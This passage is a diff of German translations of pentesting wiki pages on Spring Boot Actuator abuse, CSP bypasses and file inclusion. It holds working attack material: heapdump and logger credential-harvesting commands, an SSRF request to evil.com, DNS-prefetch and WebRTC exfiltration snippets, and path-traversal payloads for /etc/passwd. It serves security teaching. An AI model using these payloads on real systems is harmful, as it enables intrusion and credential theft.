@@ Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` -3. **Andere nützliche Einstellungen**: -- Properties wie `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` und `spring.datasource.tomcat.max-active` können für verschiedene Exploits manipuliert werden, z. B. für SQL injection oder zum Ändern von Datenbank-Verbindungsstrings. +3. **Weitere nützliche Einstellungen**: +- Properties wie `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` und `spring.datasource.tomcat.max-active` können für verschiedene Exploits manipuliert werden, z. B. SQL-Injection oder zum Ändern von Datenbankverbindungsstrings. ### **Zusätzliche Informationen:** -- Eine umfassende Liste der Default-Actuators findet sich [hier](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). -- Der `/env` Endpunkt in Spring Boot 2.x verwendet JSON-Format für Property-Modifikationen, aber das grundlegende Konzept bleibt gleich. +- Eine umfassende Liste der Standard-Actuatoren findet sich [hier](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). +- Der `/env` Endpunkt in Spring Boot 2.x verwendet JSON-Format zur Property-Änderung, das Grundkonzept bleibt jedoch gleich. ### **Verwandte Themen:** 1. **Env + H2 RCE**: -- Details zur Ausnutzung der Kombination des `/env` Endpunkts und der H2-Datenbank finden sich [hier](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). +- Details zum Ausnutzen der Kombination aus `/env` Endpunkt und H2-Datenbank finden sich [hier](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). 2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: -- Die Handhabung von Matrix-Parametern (`;`) in HTTP-Pathnames durch das Spring-Framework kann für Server-Side Request Forgery (SSRF) ausgenutzt werden. -- Beispiel-Exploit-Request: +- Die Handhabung von Matrix-Parametern (`;`) in HTTP-Pfaden durch das Spring-Framework kann für Server-Side Request Forgery (SSRF) ausgenutzt werden. +- Beispiel-Exploit-Anfrage: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` -## HeapDump secrets mining (credentials, tokens, internal URLs) +## HeapDump-Secrets auslesen (credentials, tokens, internal URLs) -Wenn `/actuator/heapdump` exponiert ist, können Sie normalerweise einen vollständigen JVM-Heap-Snapshot herunterladen, der häufig live secrets enthält (DB creds, API keys, Basic-Auth, interne Service-URLs, Spring property maps, usw.). +If `/actuator/heapdump` is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.). -- Herunterladen und schnelle Triage: +- Download and quick triage: ```bash wget http://target/actuator/heapdump -O heapdump # Quick wins: look for HTTP auth and JDBC @@ -74,33 +74,33 @@ strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.dat printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d ``` -- Tiefere Analyse mit VisualVM und OQL: -- Öffnen Sie den heapdump in VisualVM, inspizieren Sie Instanzen von `java.lang.String` oder führen Sie OQL aus, um nach secrets zu suchen: +- Deeper analysis with VisualVM and OQL: +- Open heapdump in VisualVM, inspect instances of `java.lang.String` or run OQL to hunt secrets: ``` select s.toString() from java.lang.String s where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString()) ``` -- Automatisierte Extraktion mit JDumpSpider: +- Automated extraction with JDumpSpider: ```bash java -jar JDumpSpider-*.jar heapdump ``` -Typische hochgradig verwertbare Funde: -- Spring `DataSourceProperties` / `HikariDataSource` Objekte, die `url`, `username`, `password` offenbaren. -- `OriginTrackedMapPropertySource`-Einträge, die `management.endpoints.web.exposure.include`, Service-Ports und eingebettete Basic-Auth in URLs (z. B. Eureka `defaultZone`) preisgeben. -- Plain-HTTP Request/Response-Fragmente inklusive `Authorization: Basic ...`, die im Speicher erfasst wurden. +Typische besonders wertvolle Funde: +- Spring `DataSourceProperties` / `HikariDataSource` objects exposing `url`, `username`, `password`. +- `OriginTrackedMapPropertySource` entries revealing `management.endpoints.web.exposure.include`, service ports, and embedded Basic-Auth in URLs (e.g., Eureka `defaultZone`). +- Plain HTTP request/response fragments including `Authorization: Basic ...` captured in memory. Tipps: -- Verwenden Sie eine auf Spring fokussierte Wordlist, um Actuator-Endpunkte schnell zu entdecken (z. B. SecLists spring-boot.txt) und prüfen Sie immer, ob `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` und `/actuator/configprops` ebenfalls exponiert sind. -- Credentials aus heapdump funktionieren oft für angrenzende Services und manchmal für Systembenutzer (SSH), daher breit testen. +- Use a Spring-focused wordlist to discover actuator endpoints quickly (e.g., SecLists spring-boot.txt) und prüfe immer, ob `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` und `/actuator/configprops` ebenfalls exposed sind. +- Credentials from heapdump often work for adjacent services and sometimes for system users (SSH), so try them broadly. -## Abusing Actuator loggers/logging to capture credentials +## Actuator-Logger/Logging missbrauchen, um credentials zu erfassen -Wenn `management.endpoints.web.exposure.include` es erlaubt und `/actuator/loggers` exponiert ist, können Sie dynamisch die Log-Level auf DEBUG/TRACE für Packages erhöhen, die Authentifizierung und Request-Processing behandeln. In Kombination mit lesbaren Logs (über `/actuator/logfile` oder bekannte Log-Pfade) kann dies credentials offenlegen, die während Login-Flows übermittelt werden (z. B. Basic-Auth-Header oder Formularparameter). +If `management.endpoints.web.exposure.include` allows it and `/actuator/loggers` is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via `/actuator/logfile` or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters). -- Auflisten und hochsetzen sensibler Logger: +- Enumerate and crank up sensitive loggers: ```bash # List available loggers curl -s http://target/actuator/loggers | jq . @@ -114,7 +114,7 @@ curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' ``` -- Finden, wo Logs geschrieben werden, und ernten: +- Find where logs are written and harvest: ```bash # If exposed, read from Actuator directly curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password=' @@ -123,14 +123,14 @@ curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|user curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' ``` -- Triggern Sie Login-/Authentifizierungs-Traffic und parsen Sie das Log nach creds. In Microservice-Setups mit einem Gateway vor Auth kann das Aktivieren von TRACE für Gateway-/Security-Packages oft Header und Form-Bodies sichtbar machen. Manche Umgebungen erzeugen sogar periodisch synthetischen Login-Traffic, wodurch das Harvesting trivial wird, sobald das Logging verbose ist. +- Trigger login/authentication traffic and parse the log for creds. In microservice setups with a gateway fronting auth, enabling TRACE for gateway/security packages often makes headers and form bodies visible. Some environments even generate synthetic login traffic periodically, making harvesting trivial once logging is verbose. Hinweise: -- Setzen Sie Log-Level zurück, wenn Sie fertig sind: `POST /actuator/loggers/` mit `{ "configuredLevel": null }`. -- Wenn `/actuator/httpexchanges` exponiert ist, kann es ebenfalls kürzliche Request-Metadaten anzeigen, die sensitive Header enthalten können. +- Reset log levels when done: `POST /actuator/loggers/` with `{ "configuredLevel": null }`. +- If `/actuator/httpexchanges` is exposed, it can also surface recent request metadata that may include sensitive headers. -## References +## Referenzen - [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations) - [VisualVM](https://visualvm.github.io/) diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 9e3dd2647..81bae9447 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -4,28 +4,28 @@ ## Was ist CSP -Content Security Policy (CSP) ist als Browser-Technologie anerkannt und dient in erster Linie dem **Schutz vor Angriffen wie Cross-Site Scripting (XSS)**. Sie funktioniert, indem Pfade und Quellen definiert und spezifiziert werden, von denen Ressourcen sicher vom Browser geladen werden dürfen. Diese Ressourcen umfassen Elemente wie Bilder, Frames und JavaScript. Beispielsweise kann eine Policy das Laden und Ausführen von Ressourcen aus derselben Domain (`self`) erlauben, einschließlich inline-Ressourcen und der Ausführung von String-Code über Funktionen wie `eval`, `setTimeout` oder `setInterval`. +Content Security Policy (CSP) wird als Browser-Technologie verstanden, die in erster Linie darauf abzielt, **gegen Angriffe wie cross-site scripting (XSS) zu schützen**. Sie funktioniert, indem Pfade und Quellen definiert und spezifiziert werden, von denen Ressourcen sicher vom Browser geladen werden dürfen. Diese Ressourcen umfassen Elemente wie Bilder, Frames und JavaScript. Zum Beispiel kann eine Policy das Laden und Ausführen von Ressourcen von derselben Domain (self) erlauben, einschließlich inline-Ressourcen und der Ausführung von String-Code über Funktionen wie `eval`, `setTimeout` oder `setInterval`. -Die Implementierung von CSP erfolgt über **Response-Header** oder durch Einfügen von **Meta-Elementen in die HTML-Seite**. Browser setzen diese Vorgaben durch und blockieren erkannte Verstöße sofort. +Die Implementierung von CSP erfolgt über **Response-Header** oder durch Einfügen von **meta-Elementen in die HTML-Seite**. Browser setzen diese Vorgaben aktiv durch und blockieren sofort erkannte Verstöße. - Implementiert über Response-Header: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` -- Über ein Meta-Tag implementiert: +- Implementiert über Meta-Tag: ```xml ``` -### Headers +### Kopfzeilen -CSP kann mit diesen Headern durchgesetzt oder überwacht werden: +CSP kann durch die folgenden Header durchgesetzt oder überwacht werden: -- `Content-Security-Policy`: Erzwingt die CSP; der Browser blockiert alle Verstöße. -- `Content-Security-Policy-Report-Only`: Wird zur Überwachung verwendet; meldet Verstöße, ohne sie zu blockieren. Ideal zum Testen in Vorproduktionsumgebungen. +- `Content-Security-Policy`: Setzt die CSP durch; der Browser blockiert alle Verstöße. +- `Content-Security-Policy-Report-Only`: Wird zur Überwachung verwendet; meldet Verstöße, blockiert sie jedoch nicht. Ideal zum Testen in Vorproduktionsumgebungen. -### Defining Resources +### Ressourcen definieren -CSP beschränkt die Ursprünge, von denen sowohl aktiver als auch passiver Content geladen werden darf, und kontrolliert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist: +CSP beschränkt die Ursprünge, von denen sowohl aktive als auch passive Inhalte geladen werden dürfen, und steuert Aspekte wie die Ausführung von inline JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Policy ist: ```bash default-src 'none'; img-src 'self'; @@ -39,42 +39,42 @@ object-src 'none'; ``` ### Direktiven -- **script-src**: Erlaubt bestimmte Quellen für JavaScript, einschließlich URLs, Inline-Skripten und Skripten, die durch Event-Handler oder XSLT-Stylesheets ausgelöst werden. -- **default-src**: Legt eine Standardrichtlinie für das Abrufen von Ressourcen fest, wenn spezifische fetch-Direktiven fehlen. -- **child-src**: Gibt erlaubte Ressourcen für Web Worker und eingebettete Frame-Inhalte an. -- **connect-src**: Beschränkt URLs, die über Schnittstellen wie fetch, WebSocket oder XMLHttpRequest geladen werden können. +- **script-src**: Erlaubt spezifische Quellen für JavaScript, einschließlich URLs, Inline-Skripten und Skripten, die durch Event-Handler oder XSLT-Stylesheets ausgelöst werden. +- **default-src**: Setzt eine Standardrichtlinie zum Laden von Ressourcen, wenn spezifische Fetch-Direktiven fehlen. +- **child-src**: Gibt erlaubte Ressourcen für Web Workers und eingebettete Frame-Inhalte an. +- **connect-src**: Beschränkt URLs, die über Schnittstellen wie fetch, WebSocket, XMLHttpRequest geladen werden können. - **frame-src**: Beschränkt URLs für Frames. -- **frame-ancestors**: Gibt an, welche Quellen die aktuelle Seite einbetten dürfen; anwendbar auf Elemente wie ``, ` // The bot will load an URL with the payload @@ -546,22 +546,22 @@ run() ``` ### Über Bookmarklets -Dieser Angriff setzt Social Engineering voraus, bei dem der Angreifer den Benutzer **dazu bringt, einen Link über das Bookmarklet des Browsers zu drag\&dropped**. Dieses Bookmarklet würde **malicious javascript** Code enthalten, der beim drag\&dropped oder Anklicken im Kontext des aktuellen Webfensters ausgeführt wird, dabei **bypassing CSP und das Entwenden sensibler Informationen ermöglicht**, wie z. B. Cookies oder Tokens. +Dieser Angriff setzt Social Engineering voraus, wobei der Angreifer den Nutzer **überredet, einen Link auf das Bookmarklet des Browsers zu ziehen und dort abzulegen**. Dieses Bookmarklet würde **bösartigen javascript-Code** enthalten, der beim Drag\&Drop oder Klick im Kontext des aktuellen Browserfensters ausgeführt wird, **CSP umgeht und es ermöglicht, sensible Informationen** wie cookies oder tokens zu stehlen. For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). -### CSP-Bypass durch Einschränkung der CSP +### CSP bypass durch Einschränkung von CSP -In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), wird CSP umgangen, indem in ein erlaubtes iframe eine restriktivere CSP injiziert wird, die das Laden einer bestimmten JS-Datei verhindert, welche dann via **prototype pollution** oder **dom clobbering** ausgenutzt wurde, um **ein anderes Script zu missbrauchen, um ein beliebiges Script zu laden**. +In [**diesem CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) wird CSP umgangen, indem innerhalb eines erlaubten iframe eine restriktivere CSP injiziert wird, die das Laden einer bestimmten JS-Datei verbietet, die dann via **prototype pollution** oder **dom clobbering** **ausgenutzt wurde, um ein anderes Script dazu zu bringen, ein beliebiges Script zu laden**. -Sie können mit dem **`csp`**-Attribut **die CSP eines Iframe einschränken**: +Du kannst **die CSP eines iframe einschränken** mit dem **`csp`**-Attribut: ```html ``` -In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), war es möglich, via **HTML injection** die **CSP** stärker zu **einschränken**, sodass ein Script, das CSTI verhindert, deaktiviert wurde und dadurch die **vulnerability became exploitable.**\ -CSP kann mithilfe von **HTML meta tags** restriktiver gemacht werden und inline scripts können deaktiviert werden, indem man den **Eintrag** entfernt, der deren **nonce** erlaubt, und spezifische inline scripts per **sha** erlaubt: +In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), war es möglich, mittels **HTML injection** eine **CSP** stärker **einschränken**, sodass ein Script, das CSTI verhindert, deaktiviert wurde und dadurch **die vulnerability ausnutzbar wurde.**\ +CSP kann restriktiver gemacht werden durch **HTML meta tags** und inline scripts können deaktiviert werden, indem man den **Eintrag** **entfernt**, der ihre **nonce** erlaubt, und **bestimmte inline scripts via sha** aktiviert: ```html ' ``` -### Leaking von Informationen mit CSP und Iframe +### Leaking Information with CSP and Iframe - Ein `iframe` wird erstellt, das auf eine URL zeigt (nennen wir sie `https://example.redirect.com`), die von CSP erlaubt ist. -- Diese URL leitet dann auf eine geheime URL weiter (z. B. `https://usersecret.example2.com`), die von CSP **nicht erlaubt** ist. -- Indem man auf das `securitypolicyviolation`-Event hört, kann man die `blockedURI`-Property abfangen. Diese Property offenbart die Domain der blockierten URI, leaking die geheime Domain, auf die die ursprüngliche URL weitergeleitet hat. +- Diese URL leitet dann zu einer geheimen URL weiter (z. B. `https://usersecret.example2.com`), die von CSP **nicht erlaubt** ist. +- Durch Zuhören des `securitypolicyviolation`-Events kann man die `blockedURI`-Property erfassen. Diese Eigenschaft offenbart die Domain der blockierten URI und leaking die geheime Domain, zu der die initiale URL weitergeleitet wurde. -Es ist interessant zu bemerken, dass Browser wie Chrome und Firefox unterschiedliche Verhaltensweisen beim Umgang mit iframes in Bezug auf CSP zeigen, was aufgrund von undefiniertem Verhalten zu potenziellem leak sensibler Informationen führen kann. +Es ist interessant zu bemerken, dass Browser wie Chrome und Firefox unterschiedliche Verhaltensweisen beim Umgang mit iframes in Bezug auf CSP zeigen, was aufgrund von undefiniertem Verhalten zu möglicher leakage sensibler Informationen führen kann. -Eine andere Technik besteht darin, die CSP selbst auszunutzen, um das geheime Subdomain zu ermitteln. Diese Methode beruht auf einer binären Suche und darauf, die CSP so anzupassen, dass bestimmte Domains gezielt blockiert werden. Zum Beispiel, wenn das geheime Subdomain aus unbekannten Zeichen besteht, kann man iterativ verschiedene Subdomains testen, indem man die CSP-Direktive ändert, um diese Subdomains zu blockieren oder zu erlauben. Hier ist ein Snippet, das zeigt, wie die CSP eingerichtet werden könnte, um diese Methode zu ermöglichen: +Eine weitere Technik nutzt die CSP selbst, um die geheime Subdomain zu ermitteln. Diese Methode basiert auf einem binären Suchalgorithmus und dem Anpassen der CSP, um bestimmte Domains absichtlich zu blockieren. Zum Beispiel, wenn die geheime Subdomain aus unbekannten Zeichen besteht, kann man iterativ verschiedene Subdomains testen, indem man die CSP-Direktive ändert, um diese Subdomains zu blockieren oder zu erlauben. Hier ist ein Snippet, das zeigt, wie die CSP eingerichtet sein könnte, um diese Methode zu erleichtern: ```markdown img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev ``` -Indem man überwacht, welche Anfragen von der CSP geblockt oder erlaubt werden, kann man die möglichen Zeichen der geheimen Subdomain eingrenzen und schließlich die vollständige URL aufdecken. +Indem man überwacht, welche Requests von der CSP blockiert oder zugelassen werden, kann man die möglichen Zeichen der geheimen Subdomain eingrenzen und schließlich die vollständige URL aufdecken. -Beide Methoden nutzen die Nuancen der CSP-Implementierung und des Verhaltens in Browsern aus und zeigen, wie scheinbar sichere Richtlinien versehentlich sensitive Informationen leak. +Beide Methoden nutzen Nuancen der CSP-Implementierung und des Verhaltens von Browsern aus und zeigen, wie scheinbar sichere Policies unbeabsichtigt sensitive information leak. -Trick von [**here**](https://ctftime.org/writeup/29310). +Trick from [**here**](https://ctftime.org/writeup/29310). -## Unsafe Technologies to Bypass CSP +## Unsichere Techniken zum Umgehen von CSP ### PHP Errors when too many params -Laut der [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) führt das Senden von zu vielen Parametern (1001 GET-Parameter, obwohl man das auch mit POST-Parametern und mehr als 20 Dateien machen kann) zu einem Fehler. Jede definierte **`header()`** im PHP-Webcode **wird nicht gesendet**, aufgrund des dadurch ausgelösten Fehlers. +According to the [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), sending too many parameters (1001 GET parameters although you can also do it with POST params and more that 20 files). Any defined **`header()`** in the PHP web code **won't be sent** because of the error that this will trigger. ### PHP response buffer overload -PHP ist dafür bekannt, die Antwort standardmäßig auf **4096** Bytes zu **puffern**. Daher wird, wenn PHP eine Warnung ausgibt, durch das Bereitstellen von **genügend Daten in Warnungen** die **Antwort** **gesendet** **bevor** der **CSP-Header**, wodurch der Header ignoriert wird.\ -Die Technik besteht im Wesentlichen darin, **den Antwortpuffer mit Warnungen zu füllen**, sodass der CSP-Header nicht gesendet wird. +PHP ist dafür bekannt, standardmäßig die Antwort bis 4096 bytes zu puffern. Daher: wenn PHP eine Warnung ausgibt, kann man durch Bereitstellen von genug Daten in den Warnungen erreichen, dass die Antwort vor dem CSP-Header gesendet wird, wodurch der Header ignoriert wird.\ +Die Technik besteht im Wesentlichen darin, den Response-Buffer mit Warnungen zu füllen, sodass der CSP-Header nicht gesendet wird. Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points). ### Kill CSP via max_input_vars (headers already sent) -Weil Header vor jeglicher Ausgabe gesendet werden müssen, können durch PHP ausgelöste Warnungen spätere `header()`-Aufrufe ungültig machen. Wenn Benutzereingaben `max_input_vars` überschreiten, wirft PHP zuerst eine Startup-Warnung; jeder nachfolgende `header('Content-Security-Policy: ...')` schlägt mit “headers already sent” fehl, wodurch CSP effektiv deaktiviert wird und sonst geblocktes reflective XSS erlaubt wird. +Da Header vor jeglicher Ausgabe gesendet werden müssen, können von PHP ausgegebene Warnungen spätere `header()`-Aufrufe ungültig machen. Wenn Nutzereingaben `max_input_vars` überschreiten, wirft PHP zuerst eine Startup-Warnung; jeder nachfolgende `header('Content-Security-Policy: ...')` schlägt mit “headers already sent” fehl, wodurch CSP effektiv deaktiviert wird und sonst blockierte reflective XSS ermöglicht wird. ```php " @@ -632,7 +632,7 @@ curl -i "http://orange.local/?xss=&A=1&A=2&...&A=1000" ``` ### Fehlerseite umschreiben -Aus [**this writeup**](https://blog.ssrf.kr/69) geht hervor, dass es möglich gewesen sein könnte, einen CSP-Schutz zu bypassen, indem man eine Fehlerseite lädt (möglicherweise ohne CSP) und deren Inhalt umschreibt. +Aus [**this writeup**](https://blog.ssrf.kr/69) scheint es möglich gewesen zu sein, einen CSP-Schutz zu umgehen, indem man eine Fehlerseite (möglicherweise ohne CSP) lädt und deren Inhalt umschreibt. ```javascript a = window.open("/" + "x".repeat(4100)) setTimeout(function () { @@ -641,38 +641,39 @@ a.document.body.innerHTML = ` ``` ### DNS Prefetch -Um Seiten schneller zu laden, lösen Browser Hostnamen vorab in IP-Adressen auf und zwischenspeichern sie für die spätere Verwendung.\ -Du kannst einem Browser mitteilen, einen Hostnamen vorab aufzulösen mit: `` +Um Seiten schneller zu laden, lösen Browser Hostnamen vorab in IP-Adressen auf und cachen sie zur späteren Verwendung.\ +Du kannst den Browser anweisen, einen Hostnamen vorab aufzulösen mit: `` Du könntest dieses Verhalten missbrauchen, um **exfiltrate sensitive information via DNS requests**: ```javascript @@ -691,18 +692,18 @@ linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` -Um zu verhindern, dass dies passiert, kann der Server den HTTP-Header senden: +Um dies zu verhindern, kann der Server den HTTP-Header senden: ``` X-DNS-Prefetch-Control: off ``` > [!TIP] -> Offenbar funktioniert diese Technik nicht in headless browsers (bots) +> Anscheinend funktioniert diese Technik nicht in headless browsers (bots) ### WebRTC -Auf mehreren Seiten liest man, dass **WebRTC die `connect-src`-Richtlinie der CSP nicht überprüft**. +Auf mehreren Seiten liest man, dass **WebRTC die `connect-src`-Richtlinie** der CSP nicht prüft. -Tatsächlich kannst du Informationen _leak_ mittels einer _DNS request_. Schau dir diesen Code an: +Tatsächlich kannst du Informationen mithilfe einer _DNS request_ _leak_. Schau dir diesen Code an: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) @@ -710,7 +711,7 @@ p.createDataChannel("") p.setLocalDescription(await p.createOffer()) })() ``` -Eine weitere Option: +Eine andere Option: ```javascript var pc = new RTCPeerConnection({ "iceServers":[ @@ -724,7 +725,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ### CredentialsContainer -Das Credential-Popup sendet eine DNS-Anfrage an die iconURL, ohne von der Seite eingeschränkt zu werden. Es funktioniert nur in einem sicheren Kontext (HTTPS) oder auf localhost. +Das credential popup sendet eine DNS-Anfrage an die iconURL, ohne von der Seite eingeschränkt zu werden. Es funktioniert nur in einem sicheren Kontext (HTTPS) oder auf localhost. ```javascript navigator.credentials.store( new FederatedCredential({ @@ -735,9 +736,9 @@ iconURL:"https:"+your_data+"example.com" }) ) ``` -## CSP-Richtlinien online überprüfen +## CSP-Richtlinien online prüfen -- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/) +- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) ## CSP automatisch erstellen diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 504cd0ec7..30bc9bf6e 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,10 +4,10 @@ ## File Inclusion -**Remote File Inclusion (RFI):** Die Datei wird von einem entfernten Server geladen (Besser: Du kannst den Code schreiben und der Server führt ihn aus). In php ist dies standardmäßig **deaktiviert** (**allow_url_include**).\ +**Remote File Inclusion (RFI):** Die Datei wird von einem entfernten Server geladen (Am besten: Man kann den Code schreiben und der Server führt ihn aus). In php ist dies standardmäßig **deaktiviert** (**allow_url_include**).\ **Local File Inclusion (LFI):** Der Server lädt eine lokale Datei. -Die Schwachstelle tritt auf, wenn ein Benutzer die Datei, die vom Server geladen werden soll, in irgendeiner Weise kontrollieren kann. +Die Schwachstelle tritt auf, wenn der Benutzer die Datei, die vom Server geladen werden soll, in irgendeiner Weise kontrollieren kann. Anfällige **PHP-Funktionen**: require, require_once, include, include_once @@ -19,42 +19,43 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../ ``` ### **Linux** -**Durch Mischen mehrerer \*nix LFI-Listen und Hinzufügen weiterer Pfade habe ich diese erstellt:** +**Durch Zusammenführung mehrerer \*nix LFI-Listen und Hinzufügen weiterer Pfade habe ich diese erstellt:** + {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}} -Versuche auch, `/` durch `\` zu ersetzen\ +Versuche auch, `/` durch `\` zu ersetzen Versuche auch, `../../../../../` hinzuzufügen -Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu prüfen, ob die Verwundbarkeit besteht), findet man [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) +Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu prüfen, ob die Schwachstelle besteht), befindet sich [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** -Zusammenführung verschiedener wordlists: +Zusammenführung verschiedener Wordlists: {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}} -Versuche auch, `/` durch `\` zu ersetzen\ -Versuche auch, `C:/` zu entfernen und `../../../../../` hinzuzufügen +Versuche auch, `/` durch `\` zu ersetzen +Versuche außerdem, `C:/` zu entfernen und `../../../../../` hinzuzufügen -Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu prüfen, ob die Verwundbarkeit besteht), findet man [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) +Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu prüfen, ob die Schwachstelle besteht), befindet sich [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** -Sieh dir die LFI-Liste von linux an. +Siehe die LFI-Liste von linux. -## Grundlegendes zu LFI und bypasses +## Grundlegendes LFI und Umgehungen -Alle Beispiele beziehen sich auf Local File Inclusion, können aber auch auf Remote File Inclusion angewendet werden (page=[http://myserver.com/phpshellcode.txt\\](). +Alle Beispiele sind für Local File Inclusion, können aber auch auf Remote File Inclusion angewendet werden (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` -### Traversal-Sequenzen werden nicht rekursiv entfernt +### traversal sequences nicht-rekursiv entfernt ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -62,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -Bypass des Anhängens weiterer Zeichen am Ende der bereitgestellten Zeichenkette (Bypass von: $\_GET\['param']."php") +Bypass das Anhängen weiterer Zeichen am Ende der bereitgestellten Zeichenkette (bypass of: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` @@ -70,51 +71,51 @@ Dies ist **seit PHP 5.4 behoben** ### **Kodierung** -Sie könnten nicht-standardmäßige Kodierungen wie double URL encode (und andere) verwenden: +Man kann nicht-standardmäßige Kodierungen wie double URL encode (und andere) verwenden: ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` -### Vom vorhandenen Ordner +### Aus vorhandenem Ordner -Vielleicht überprüft das Backend den Ordnerpfad: +Möglicherweise überprüft das back-end den Ordnerpfad: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Erkundung von Dateisystemverzeichnissen auf einem Server -Das Dateisystem eines Servers kann mithilfe bestimmter Techniken rekursiv durchsucht werden, um Verzeichnisse (nicht nur Dateien) zu identifizieren. Dieser Prozess umfasst das Ermitteln der Verzeichnistiefe und das Abfragen des Vorhandenseins bestimmter Ordner. Im Folgenden wird eine detaillierte Methode beschrieben, um dies zu erreichen: +Das Dateisystem eines Servers kann rekursiv untersucht werden, um Verzeichnisse (nicht nur Dateien) zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst das Bestimmen der Verzeichnistiefe und das Abfragen auf das Vorhandensein bestimmter Ordner. Nachfolgend eine detaillierte Methode, um dies zu erreichen: -1. **Verzeichnistiefe bestimmen:** Bestimme die Tiefe deines aktuellen Verzeichnisses, indem du erfolgreich die Datei `/etc/passwd` abrufst (gilt, wenn der Server Linux-basiert ist). Eine Beispiel-URL könnte wie folgt aufgebaut sein und auf eine Tiefe von drei hinweisen: +1. **Verzeichnistiefe bestimmen:** Bestimme die Tiefe deines aktuellen Verzeichnisses, indem du erfolgreich die Datei `/etc/passwd` abrufst (anwendbar, wenn der Server Linux-basiert ist). Eine Beispiel-URL könnte wie folgt aufgebaut sein und eine Tiefe von drei anzeigen: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Probe for Folders:** Hänge den Namen 